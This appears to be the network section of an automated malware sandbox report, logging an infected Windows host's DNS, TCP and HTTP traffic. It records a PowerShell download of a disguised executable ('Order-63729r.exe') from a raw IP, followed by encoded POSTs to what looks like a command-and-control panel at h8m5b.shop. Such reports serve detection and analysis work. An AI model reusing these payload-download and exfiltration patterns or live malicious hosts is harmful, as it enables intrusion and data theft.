Oct 4, 2024 04:29:19.049156904 CEST	49754	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:29:19.049171925 CEST	443	49754	40.113.110.67	192.168.2.6
Oct 4, 2024 04:29:19.049379110 CEST	443	49754	40.113.110.67	192.168.2.6
Oct 4, 2024 04:29:19.053114891 CEST	49754	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:29:19.053114891 CEST	49754	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:29:19.053136110 CEST	443	49754	40.113.110.67	192.168.2.6
Oct 4, 2024 04:29:19.053812027 CEST	49754	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:29:19.099395037 CEST	443	49754	40.113.110.67	192.168.2.6
Oct 4, 2024 04:29:19.232489109 CEST	443	49754	40.113.110.67	192.168.2.6
Oct 4, 2024 04:29:19.232703924 CEST	443	49754	40.113.110.67	192.168.2.6
Oct 4, 2024 04:29:19.232883930 CEST	49754	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:29:19.232992887 CEST	49754	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:29:19.233010054 CEST	443	49754	40.113.110.67	192.168.2.6
Oct 4, 2024 04:30:16.311137915 CEST	49756	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:30:16.311188936 CEST	443	49756	40.113.110.67	192.168.2.6
Oct 4, 2024 04:30:16.311290979 CEST	49756	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:30:16.312393904 CEST	49756	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:30:16.312421083 CEST	443	49756	40.113.110.67	192.168.2.6
Oct 4, 2024 04:30:17.119048119 CEST	443	49756	40.113.110.67	192.168.2.6
Oct 4, 2024 04:30:17.119153023 CEST	49756	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:30:17.121576071 CEST	49756	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:30:17.121592999 CEST	443	49756	40.113.110.67	192.168.2.6
Oct 4, 2024 04:30:17.122396946 CEST	443	49756	40.113.110.67	192.168.2.6
Oct 4, 2024 04:30:17.126382113 CEST	49756	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:30:17.126382113 CEST	49756	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:30:17.126411915 CEST	443	49756	40.113.110.67	192.168.2.6
Oct 4, 2024 04:30:17.126488924 CEST	49756	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:30:17.171399117 CEST	443	49756	40.113.110.67	192.168.2.6
Oct 4, 2024 04:30:17.613316059 CEST	443	49756	40.113.110.67	192.168.2.6
Oct 4, 2024 04:30:17.613553047 CEST	443	49756	40.113.110.67	192.168.2.6
Oct 4, 2024 04:30:17.613773108 CEST	49756	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:30:17.613773108 CEST	49756	443	192.168.2.6	40.113.110.67

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 04:27:41.986025095 CEST	65141	53	192.168.2.6	1.1.1.1
Oct 4, 2024 04:27:55.054508924 CEST	59251	53	192.168.2.6	1.1.1.1
Oct 4, 2024 04:27:55.054634094 CEST	63100	53	192.168.2.6	1.1.1.1
Oct 4, 2024 04:27:55.061079025 CEST	53	61288	1.1.1.1	192.168.2.6
Oct 4, 2024 04:27:55.062525988 CEST	53	63100	1.1.1.1	192.168.2.6
Oct 4, 2024 04:27:55.062592983 CEST	53	59251	1.1.1.1	192.168.2.6
Oct 4, 2024 04:27:55.114413977 CEST	53	50212	1.1.1.1	192.168.2.6
Oct 4, 2024 04:27:56.080605030 CEST	53	56847	1.1.1.1	192.168.2.6
Oct 4, 2024 04:27:59.265811920 CEST	53	50382	1.1.1.1	192.168.2.6
Oct 4, 2024 04:27:59.724607944 CEST	50671	53	192.168.2.6	1.1.1.1
Oct 4, 2024 04:27:59.724891901 CEST	60411	53	192.168.2.6	1.1.1.1
Oct 4, 2024 04:27:59.731138945 CEST	53	50671	1.1.1.1	192.168.2.6
Oct 4, 2024 04:27:59.731420040 CEST	53	60411	1.1.1.1	192.168.2.6
Oct 4, 2024 04:28:00.233757019 CEST	60257	53	192.168.2.6	1.1.1.1
Oct 4, 2024 04:28:00.245181084 CEST	53	60257	1.1.1.1	192.168.2.6
Oct 4, 2024 04:28:13.053823948 CEST	53	53010	1.1.1.1	192.168.2.6
Oct 4, 2024 04:28:28.156049013 CEST	61982	53	192.168.2.6	1.1.1.1
Oct 4, 2024 04:28:28.166763067 CEST	53	61982	1.1.1.1	192.168.2.6
Oct 4, 2024 04:28:31.820338964 CEST	53	63064	1.1.1.1	192.168.2.6
Oct 4, 2024 04:28:46.905942917 CEST	57780	53	192.168.2.6	1.1.1.1
Oct 4, 2024 04:28:46.918772936 CEST	53	57780	1.1.1.1	192.168.2.6
Oct 4, 2024 04:28:54.656642914 CEST	53	63127	1.1.1.1	192.168.2.6
Oct 4, 2024 04:28:54.908855915 CEST	53	57187	1.1.1.1	192.168.2.6
Oct 4, 2024 04:29:08.031244993 CEST	59607	53	192.168.2.6	1.1.1.1
Oct 4, 2024 04:29:08.043029070 CEST	53	59607	1.1.1.1	192.168.2.6
Oct 4, 2024 04:29:23.493006945 CEST	53	50091	1.1.1.1	192.168.2.6
Oct 4, 2024 04:29:38.577755928 CEST	60441	53	192.168.2.6	1.1.1.1
Oct 4, 2024 04:29:38.590576887 CEST	53	60441	1.1.1.1	192.168.2.6
Oct 4, 2024 04:30:07.945097923 CEST	53	64337	1.1.1.1	192.168.2.6
Oct 4, 2024 04:30:23.030179024 CEST	50706	53	192.168.2.6	1.1.1.1
Oct 4, 2024 04:30:23.041697025 CEST	53	50706	1.1.1.1	192.168.2.6
Oct 4, 2024 04:30:49.953246117 CEST	60825	53	192.168.2.6	1.1.1.1
Oct 4, 2024 04:30:50.467242002 CEST	53	60825	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 4, 2024 04:27:41.986025095 CEST	192.168.2.6	1.1.1.1	0x4538	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:27:55.054508924 CEST	192.168.2.6	1.1.1.1	0x1f4c	Standard query (0)	files.catbox.moe	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:27:55.054634094 CEST	192.168.2.6	1.1.1.1	0x892c	Standard query (0)	files.catbox.moe	65	IN (0x0001)	false
Oct 4, 2024 04:27:59.724607944 CEST	192.168.2.6	1.1.1.1	0x186c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:27:59.724891901 CEST	192.168.2.6	1.1.1.1	0x138a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 4, 2024 04:28:00.233757019 CEST	192.168.2.6	1.1.1.1	0x994	Standard query (0)	h8m5b.shop	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:28:28.156049013 CEST	192.168.2.6	1.1.1.1	0xf446	Standard query (0)	h8m5b.shop	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:28:46.905942917 CEST	192.168.2.6	1.1.1.1	0x3701	Standard query (0)	h8m5b.shop	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:29:08.031244993 CEST	192.168.2.6	1.1.1.1	0x81da	Standard query (0)	h8m5b.shop	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:29:38.577755928 CEST	192.168.2.6	1.1.1.1	0xb79	Standard query (0)	h8m5b.shop	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:30:23.030179024 CEST	192.168.2.6	1.1.1.1	0x30c2	Standard query (0)	h8m5b.shop	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:30:49.953246117 CEST	192.168.2.6	1.1.1.1	0x2d32	Standard query (0)	h8m5b.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 4, 2024 04:27:41.993288040 CEST	1.1.1.1	192.168.2.6	0x4538	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 4, 2024 04:27:55.062592983 CEST	1.1.1.1	192.168.2.6	0x1f4c	No error (0)	files.catbox.moe		108.181.20.39	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:27:59.731138945 CEST	1.1.1.1	192.168.2.6	0x186c	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:27:59.731420040 CEST	1.1.1.1	192.168.2.6	0x138a	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 4, 2024 04:28:00.245181084 CEST	1.1.1.1	192.168.2.6	0x994	No error (0)	h8m5b.shop		172.67.159.45	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:28:00.245181084 CEST	1.1.1.1	192.168.2.6	0x994	No error (0)	h8m5b.shop		104.21.14.133	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:28:28.166763067 CEST	1.1.1.1	192.168.2.6	0xf446	No error (0)	h8m5b.shop		104.21.14.133	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:28:28.166763067 CEST	1.1.1.1	192.168.2.6	0xf446	No error (0)	h8m5b.shop		172.67.159.45	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:28:46.918772936 CEST	1.1.1.1	192.168.2.6	0x3701	No error (0)	h8m5b.shop		172.67.159.45	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:28:46.918772936 CEST	1.1.1.1	192.168.2.6	0x3701	No error (0)	h8m5b.shop		104.21.14.133	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:29:08.043029070 CEST	1.1.1.1	192.168.2.6	0x81da	No error (0)	h8m5b.shop		172.67.159.45	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:29:08.043029070 CEST	1.1.1.1	192.168.2.6	0x81da	No error (0)	h8m5b.shop		104.21.14.133	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:29:38.590576887 CEST	1.1.1.1	192.168.2.6	0xb79	No error (0)	h8m5b.shop		104.21.14.133	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:29:38.590576887 CEST	1.1.1.1	192.168.2.6	0xb79	No error (0)	h8m5b.shop		172.67.159.45	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:30:23.041697025 CEST	1.1.1.1	192.168.2.6	0x30c2	No error (0)	h8m5b.shop		104.21.14.133	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:30:23.041697025 CEST	1.1.1.1	192.168.2.6	0x30c2	No error (0)	h8m5b.shop		172.67.159.45	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:30:50.467242002 CEST	1.1.1.1	192.168.2.6	0x2d32	No error (0)	h8m5b.shop		172.67.159.45	A (IP address)	IN (0x0001)	false
Oct 4, 2024 04:30:50.467242002 CEST	1.1.1.1	192.168.2.6	0x2d32	No error (0)	h8m5b.shop		104.21.14.133	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fs.microsoft.com

armmf.adobe.com

slscr.update.microsoft.com

files.catbox.moe

217.160.121.141:8030

h8m5b.shop

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49736	217.160.121.141	8030	5552	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 04:27:58.454994917 CEST	192	OUT	GET /5643254657/Order-63729r.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 217.160.121.141:8030 Connection: Keep-Alive
Oct 4, 2024 04:27:59.113898039 CEST	1236	IN	HTTP/1.1 200 OK Server: gunicorn Date: Fri, 04 Oct 2024 02:27:59 GMT Connection: keep-alive Content-Disposition: inline; filename=Order-63729r.exe Content-Type: application/octet-stream Content-Length: 114688 Last-Modified: Mon, 30 Sep 2024 10:55:57 GMT Cache-Control: no-cache ETag: "1727693757.3319743-114688-2791706574" Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 98 01 00 00 24 00 00 00 00 00 00 84 a6 01 00 00 10 00 00 00 b0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*$@@\CODE `DATAl@BSS.idata@.reloc\@P@P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49740	172.67.159.45	80	7588	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 04:28:00.263861895 CEST	278	OUT	POST /ML341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: h8m5b.shop Content-Length: 115 Cache-Control: no-cache Data Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 ef 26 66 99 26 66 9a 26 66 9f 26 66 9e 26 66 99 26 66 97 26 67 ea 26 66 9b 26 66 9d 26 66 9c 42 70 9d 32 70 9d 31 10 8b 30 62 8b 31 11 8b 30 64 8b 30 65 ef 26 66 9d 26 66 98 26 66 97 26 66 9e 40 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b&f&f&f&f&f&f&g&f&f&fBp2p10b10d0e&f&f&f&f@
Oct 4, 2024 04:28:02.056649923 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 02:28:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: Accept-Encoding,User-Agent CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QJCx8LbRTOzUilwu%2Bdafvff4HHnSfXvu%2F0qJXZ8CYoYiVK2Vqdaob0aHvOqLNBBNuqY1Y7ruqr%2Bgv7WzV8t4PGUGzEOh%2BYC3Mm%2BAucO6SqtdhAHZdJcLAhuySLiV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd1bc708e8e0f45-EWR Data Raw: 34 34 37 32 0d 0a 3f 36 90 48 2c dd 71 1e d7 33 21 e2 50 65 da 48 22 9e 48 07 c9 68 2d ed 50 03 f8 56 65 f8 50 00 e8 49 05 fc 68 39 e3 51 06 f8 60 07 e9 55 2f cf 30 07 d8 60 13 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c9 68 2f e3 42 3e dc 40 06 9e 49 11 ff 73 12 ed 57 1c e4 49 03 f8 57 07 f8 49 04 fb 68 6c e9 50 00 d6 45 1f f8 7b 10 cc 31 1b 9f 61 02 f8 76 31 e6 4d 36 ed 50 3a db 67 1d c6 33 19 ed 6c 20 f4 44 6c c4 48 3c d9 72 19 c0 6b 26 cd 7a 3a e4 4d 11 ef 49 1e d9 68 21 ed 52 65 e5 50 04 c5 37 19 c4 52 67 e2 69 10 d7 4e 2c 9a 79 18 d4 73 03 fb 74 65 e5 3f 7a cd 3d 69 c0 3d fc bb 5a 79 0b 15 48 d8 a2 5e b3 61 f2 b9 56 79 05 09 0b dc a4 5c fb 2f f1 fa 1e 65 4b 56 4b cb a7 5c a4 4f c7 5b 33 57 66 66 65 ab cb 30 9e fd 62 cb 33 ec 66 66 65 af cb 30 9e 42 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e ba 9d cb 33 5a 79 dc 6b af 7f 39 53 23 25 ca 7f 99 47 32 0d c6 b8 10 ee 70 f2 ac 41 35 0b 46 06 ce a5 5e [TRUNCATED] Data Ascii: 4472?6H,q3!PeH"Hh-PVePIh9Q`U/0`I6eKH<h7N$@:fyh/B>@IsWIWIhlPE{1av1M6P:g3l DlH<rk&z:MIh!ReP7RgiN,yste?z=i=ZyH^aVy\/eKVK\O[3Wffe0b3ffe0B3Tffe03Tffe03Tffe03Zyk9S#%G2pA5F^vVt^F9=&3Tffet;_j0UjCQ1UjS#fe2'Tffe0_gho03Tffe03TFfe03Tdfe03^ffe03Tdfe06Tfbe03Tvfe03Twfe03Tffe03Tffe03l[fe03Tvfe03Tffe03Tffe03Tffe0
Oct 4, 2024 04:28:02.056673050 CEST	224	IN	Data Raw: 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 2c e9 ae 4b 20 66 66 65 84 cf 30 9e 02 8d cb 33 54 60 66 65 af c9 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 22 9d cb 53 7a 14 15 17 cc Data Ascii: 3Tffe03Tffe03Tffe0,K ffe03T`fe03Tffe0"Sz03TFfe03Tffe03ff%0'Tffe093vfe03D030ffe?03Tffe.q23Dffe03TffetOShr%>Uff
Oct 4, 2024 04:28:02.056680918 CEST	1236	IN	Data Raw: 65 ce bb 59 b3 6f ee e6 44 3d 08 4b 06 c0 b9 55 b3 61 f2 a5 40 3b 0a 03 48 c3 fa 1d af 2f ad e5 43 30 04 66 65 af cb 30 9e 02 8d cb 33 00 66 66 65 81 b9 54 ff 76 fc cb 33 00 76 66 65 03 cb 30 9e 2c ef af 52 20 07 42 1f d5 b1 54 fc 65 9d cb 33 54 Data Ascii: eYoD=KUa@;H/C0fe03ffeTv3vfe0,R BTe3Twfe0,R fe0b3z34Ffe?0,A7BVW03Tffe03D03Uffe03\|wfe03wfe0.3tfe>03tfe0E3;ufe403ufe
Oct 4, 2024 04:28:02.056768894 CEST	1236	IN	Data Raw: 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 Data Ascii: e03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe13Lff03Tffe13dff
Oct 4, 2024 04:28:02.056778908 CEST	1236	IN	Data Raw: 68 ae cc 32 3e 80 a0 dd 03 d6 5b 74 67 ae ca 01 95 32 94 cd 36 7f 68 65 67 b5 ce 30 ae 4e 9b c1 18 52 67 62 64 2d fc 32 9f 06 3d f5 03 68 56 71 63 a5 e0 36 9f 06 9c 49 04 56 67 69 55 a6 c8 31 9e a2 99 69 31 d4 66 56 44 9f c2 36 9b 29 93 c8 31 4e Data Ascii: h2>[tg26heg0NRgbd-2=hVqc6IVgiU1i1fVD6)1Ncfa:TXftap/I0eg213ogp}43TfU9MYgg`3:Re3a2QE`e0#U[=20bavUoWexVye~=V"A$
Oct 4, 2024 04:28:02.056792021 CEST	1236	IN	Data Raw: 48 31 e4 a1 95 df 42 d8 22 21 8c 4c 5c 5e 4c ac da 73 4e 38 35 b1 01 d1 10 e7 70 f4 3d 5b 41 79 cd bd 35 aa 79 11 46 21 d5 73 a1 54 2a 5d d3 90 0c f1 66 57 ae 7f c0 70 e6 31 fd e3 5f cf 0f 34 b0 81 b2 a3 db a7 5e 6b 7a e8 eb 7c 64 bf 88 d3 fb d3 Data Ascii: H1B"!L\^LsN85p=[Ay5yF!sT*]fWp1_4^kz\|djNIlU-WdggFi2,Vkcj2Ucce20b`vc5W3bmgq]37Sua7]l-dz`f:P&m\&20bev
Oct 4, 2024 04:28:02.056801081 CEST	896	IN	Data Raw: 7f fd b3 f4 40 0e b3 b8 24 f6 7e 8c ed be 1d dc 4a f9 4c db 92 4d 26 d8 29 b8 21 aa a0 79 8c c0 af 96 8d 85 8a 20 32 ca 10 c6 18 f5 0f b4 ae c6 7a 8d 47 19 de a9 91 c1 8f ed 2a 5b c8 45 5d 83 d9 b5 7f 3b 4a 67 48 88 3e 69 c0 c4 de d5 51 df fc 61 Data Ascii: @$~JLM&)!y 2zG[E];JgH>iQa}E]0`!XFC:J`}D!Wf2Nffe.1leuVt9$Xxg\|SoC`ll=2MpoBqGeKVNe~=V"\ F%
Oct 4, 2024 04:28:02.057065010 CEST	1236	IN	Data Raw: 63 52 65 33 78 b0 cf 79 ae 45 ad 8e 93 17 c6 27 e3 90 a3 44 ea 72 a7 e4 1c 37 14 0a 4b c2 a2 53 ec 6d ee a4 55 20 48 05 0a c2 e4 40 f5 6b b2 a8 41 38 49 16 17 c0 af 45 fd 76 ee e4 5e 3d 05 14 0a dc a4 56 ea 70 f2 a4 47 37 03 14 11 81 a8 42 f2 32 Data Ascii: cRe3xyE'Dr7KSmU H@kA8IEv^=VpG7B2;`g`1ud"`m11^-DzCdP;Ig@{+Cd\;%p>RoLM6Tegi<u%]/9pmF=!QcG8?ce
Oct 4, 2024 04:28:02.057075024 CEST	1236	IN	Data Raw: 10 12 dd a2 48 fb 54 9f 80 7a dc fa 44 98 fd b9 5e 2c 58 91 ff 00 28 d6 3e e5 9a 91 fe 1d ca fe bc 49 c9 34 ca 51 a5 a4 45 a4 c9 33 9f 02 9c 68 b1 55 cd 56 e7 ae 6c 00 91 04 9e 9e 2e 47 67 67 9a ab ce 00 9d 03 9c 34 03 49 60 65 30 b2 c5 34 88 06 Data Ascii: HTzD^,X(>I4QE3hUVl.Ggg4I`e044#0P.[bbfRgbd-%2TVe!JdbCvSQo5^oC&Xf%Wr1Z7D/5W3bf}a@;
Oct 4, 2024 04:28:02.057084084 CEST	1236	IN	Data Raw: 31 55 73 56 46 a9 c2 1a 18 4a 1b 3c 3e 55 6f 62 54 b9 cf 24 cb 97 52 d7 cb e9 95 86 6e 97 9d 84 06 54 dd 57 90 ae 4f 14 55 93 cd 3a b5 04 9c cf 32 d6 51 6c 66 b3 fa 1e 92 2e ee 9b 6a 63 1e 36 27 98 a3 64 ab 65 a8 83 7b 26 3f 12 5d dd 8f 7c cd 4f Data Ascii: 1UsVFJ<>UobT$RnTWOU:2Qlf.jc6'de{&?]\|OF42U0SQj2PgR<NpDeYa3;feVv3feTm3'DDr#KSmU HGlD'Vkcj2UgceI1Vs8&t&A
Oct 4, 2024 04:28:02.061738014 CEST	1236	IN	Data Raw: 4d 65 6d 56 6c a9 c8 65 9a 04 8e c9 66 07 57 75 55 be cd 33 cb 06 95 d8 39 03 07 15 0d c6 a5 57 ea 6d f3 fa 23 64 68 60 66 fa cf 37 8d 05 cf ae 57 39 09 08 01 9e d5 00 82 04 9e 9e 37 5e 75 73 28 c6 a8 42 f1 71 f2 ad 47 74 25 09 17 df a4 42 ff 76 Data Ascii: MemVlefWuU39Wm#dh`f7W97^us(BqGt%Bv]eNVCe~=V"W1F5YepFTUeWWR3$YW^U3g<V-;fP`ug20bnvQjT T>4Ga4_fH`e0#OA;spA5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49744	172.67.159.45	80	7588	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 04:28:07.019016981 CEST	165	OUT	POST /ML341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: h8m5b.shop Content-Length: 23839 Cache-Control: no-cache
Oct 4, 2024 04:28:07.019084930 CEST	11124	OUT	Data Raw: 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 ef 26 66 99 26 66 9a 26 66 9f 26 66 9e 26 66 99 26 66 97 26 67 ea 26 66 9b 26 66 9d 26 66 9c 42 70 9d 32 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b&f&f&f&f&f&f&g&f&f&fBp2p10b10d0e&f&f&f&f@)0d0e10eT<g:pp3p2p3p3w0s'p0{p5p7)0f0`0m0e0b0`f;j;f'&fp3)0e&f&fBg64.b;4g0x4.a6
Oct 4, 2024 04:28:07.023857117 CEST	1236	OUT	Data Raw: 4c 00 e5 5b 19 e3 4d 05 f9 46 12 e9 50 01 e4 44 06 e9 4b 1f ff 46 12 e6 4e 1e fc 4a 03 e5 40 06 ff 52 12 e2 55 02 e8 4c 1c ec 42 19 fa 48 0f e0 59 1f e5 57 03 fc 4b 14 fb 5b 1a ea 45 03 ed 42 03 e6 53 05 e1 4e 17 e7 54 1d e1 49 03 fe 59 1d fd 51 Data Ascii: L[MFPDKFNJ@RULBHYWK[EBSNTIYQAHLYDIOHBFOIPTZPUYMOIOYZHTKGPAAQ[SIVFIZUZVDGMLBHTPPDL
Oct 4, 2024 04:28:07.023910999 CEST	2472	OUT	Data Raw: 49 17 f9 59 04 e6 50 02 ea 59 02 fd 59 19 ec 52 1c ec 54 0c fc 4e 18 f6 50 16 fe 59 1a e4 4d 12 fb 4a 10 eb 44 1e e4 4d 19 f7 40 00 f8 4a 06 f7 56 1e fb 59 12 e9 59 1f ea 55 05 e0 4c 0c e1 45 18 ef 4c 11 e5 55 04 f9 51 14 fd 50 10 fd 59 05 e9 4f Data Ascii: IYPYYRTNPYMJDM@JVYYULELUQPYOV@MOQZIJEAD@SQOFSOM@WJOWOZRZESTSR@RWNZMU[NEWWLZHPMT@F
Oct 4, 2024 04:28:07.024111986 CEST	2472	OUT	Data Raw: 56 1d e0 5a 16 eb 42 1f a3 09 05 e5 00 51 ba 03 55 ae 03 55 ae 03 55 ae b7 aa 7f bd 57 aa 03 55 ac 07 55 ae 21 55 ae 03 13 c7 6f 30 dd 5f 67 f2 4d 10 ec 45 04 ff 5a 02 fe 50 09 e0 46 17 e8 52 04 f7 54 05 fd 2d 31 c1 60 2d e0 46 17 e8 52 04 f7 54 Data Ascii: VZBQUUUWUU!Uo0_gMEZPFRT-1`-FRTWAGWYEBIOZUKSFGKQ[ARIOSSKS@BZGOKEMUFVQN[TENMABDOJVEOT
Oct 4, 2024 04:28:07.024153948 CEST	4944	OUT	Data Raw: 46 1e eb 4b 13 fb 4b 06 f9 4e 05 fd 57 19 ea 5a 01 e8 4f 1a fb 4e 10 e3 41 1c e1 56 18 fb 52 0c f8 4e 0d f6 56 06 ff 50 1f f7 4e 1e fe 44 07 f6 4d 0f e0 51 04 e6 5a 03 e0 47 05 fd 49 11 e3 4b 1d e0 49 1a e0 42 19 fd 4d 14 e0 47 10 ef 55 1d e2 51 Data Ascii: FKKNWZONAVRNVPNDMQZGIKIBMGUQYYZMRUS@TKSTPFNBFPAQGTSDLBBWVR[MDBJURUJ@MDAJBNBOLPEMU
Oct 4, 2024 04:28:07.024182081 CEST	1591	OUT	Data Raw: 31 60 9d 31 7d 9f 37 7b 9d 35 7b 9d 31 60 9d 31 7b 9e 2a 58 a4 4c 33 c8 6a 36 cb 23 64 98 23 16 c2 6a 36 c5 2e 21 c1 2e 07 db 6d 75 eb 7b 21 cb 6d 26 c7 61 3c c2 6a 21 d7 23 16 c1 6e 25 c1 6d 30 c0 77 7d 9f 35 7b 9e 2d 64 98 3b 67 99 2d 67 9e 32 Data Ascii: 1`1}7{5{1`1{XL3j6#d#j6.!.mu{!m&a<j!#n%m0w}5{-d;g-g2fXS[UUU6g\|UQBUUUUUo0_dDAJI{o&S[UUU?UQBUUUU4Qo0_dOJEW{l6S[UUU
